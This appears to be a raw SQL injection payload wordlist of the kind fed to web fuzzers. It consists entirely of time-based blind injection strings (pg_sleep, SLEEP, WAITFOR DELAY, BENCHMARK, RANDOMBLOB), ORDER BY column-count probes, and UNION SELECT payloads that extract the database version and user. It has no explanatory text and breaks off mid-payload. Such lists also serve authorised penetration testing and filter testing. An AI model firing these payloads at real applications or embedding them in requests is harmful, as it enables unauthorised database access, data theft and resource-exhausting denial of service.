pg_sleep(5)-- 1)) or pg_sleep(5)-- ")) or pg_sleep(5)-- ')) or pg_sleep(5)-- AND (SELECT * FROM (SELECT(SLEEP(5)))bAKL) AND 'vRxe'='vRxe AND (SELECT * FROM (SELECT(SLEEP(5)))YjoC) AND '%'=' AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP) AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)-- AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)# SLEEP(5)# SLEEP(5)-- SLEEP(5)=" SLEEP(5)=' or SLEEP(5) or SLEEP(5)# or SLEEP(5)-- or SLEEP(5)=" or SLEEP(5)=' waitfor delay '00:00:05' waitfor delay '00:00:05'-- waitfor delay '00:00:05'# benchmark(50000000,MD5(1)) benchmark(50000000,MD5(1))-- benchmark(50000000,MD5(1))# or benchmark(50000000,MD5(1)) or benchmark(50000000,MD5(1))-- or benchmark(50000000,MD5(1))# pg_SLEEP(5) pg_SLEEP(5)-- pg_SLEEP(5)# or pg_SLEEP(5) or pg_SLEEP(5)-- or pg_SLEEP(5)# '\" AnD SLEEP(5) AnD SLEEP(5)-- AnD SLEEP(5)# &&SLEEP(5) &&SLEEP(5)-- &&SLEEP(5)# ' AnD SLEEP(5) ANd '1 '&&SLEEP(5)&&'1 ORDER BY SLEEP(5) ORDER BY SLEEP(5)-- ORDER BY SLEEP(5)# (SELECT * FROM (SELECT(SLEEP(5)))ecMj) (SELECT * FROM (SELECT(SLEEP(5)))ecMj)# (SELECT * FROM (SELECT(SLEEP(5)))ecMj)-- +benchmark(3200,SHA1(1))+' + SLEEP(10) + ' RANDOMBLOB(500000000/2) AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2)))) OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2)))) RANDOMBLOB(1000000000/2) AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/ ORDER BY SLEEP(5) ORDER BY 1,SLEEP(5) ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')) ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 ORDER BY SLEEP(5)# ORDER BY 1,SLEEP(5)# ORDER BY 1,SLEEP(5),3# ORDER BY 1,SLEEP(5),3,4# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30# ORDER BY SLEEP(5)-- ORDER BY 1,SLEEP(5)-- ORDER BY 1,SLEEP(5),3-- ORDER BY 1,SLEEP(5),3,4-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30-- UNION ALL SELECT 1 UNION ALL SELECT 1,2 UNION ALL SELECT 1,2,3 UNION ALL SELECT 1,2,3,4 UNION ALL SELECT 1,2,3,4,5 UNION ALL SELECT 1,2,3,4,5,6 UNION ALL SELECT 1,2,3,4,5,6,7 UNION ALL SELECT 1,2,3,4,5,6,7,8 UNION ALL SELECT 1,2,3,4,5,6,7,8,9 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 UNION ALL SELECT 1# UNION ALL SELECT 1,2# UNION ALL SELECT 1,2,3# UNION ALL SELECT 1,2,3,4# UNION ALL SELECT 1,2,3,4,5# UNION ALL SELECT 1,2,3,4,5,6# UNION ALL SELECT 1,2,3,4,5,6,7# UNION ALL SELECT 1,2,3,4,5,6,7,8# UNION ALL SELECT 1,2,3,4,5,6,7,8,9# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30# UNION ALL SELECT 1-- UNION ALL SELECT 1,2-- UNION ALL SELECT 1,2,3-- UNION ALL SELECT 1,2,3,4-- UNION ALL SELECT 1,2,3,4,5-- UNION ALL SELECT 1,2,3,4,5,6-- UNION ALL SELECT 1,2,3,4,5,6,7-- UNION ALL SELECT 1,2,3,4,5,6,7,8-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30-- UNION SELECT @@VERSION,SLEEP(5),3 UNION SELECT @@VERSION,SLEEP(5),USER(),4 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 UNION SELECT @@VERSION,SLEEP(5),"'3 UNION SELECT @@VERSION,SLEEP(5),"'3'"# UNION SELECT @@VERSION,SLEEP(5),USER(),4# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30# UNION ALL SELECT USER()-- UNION ALL SELECT SLEEP(5)-- UNION ALL SELECT USER(),SLEEP(5)-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5)-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A'))-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT 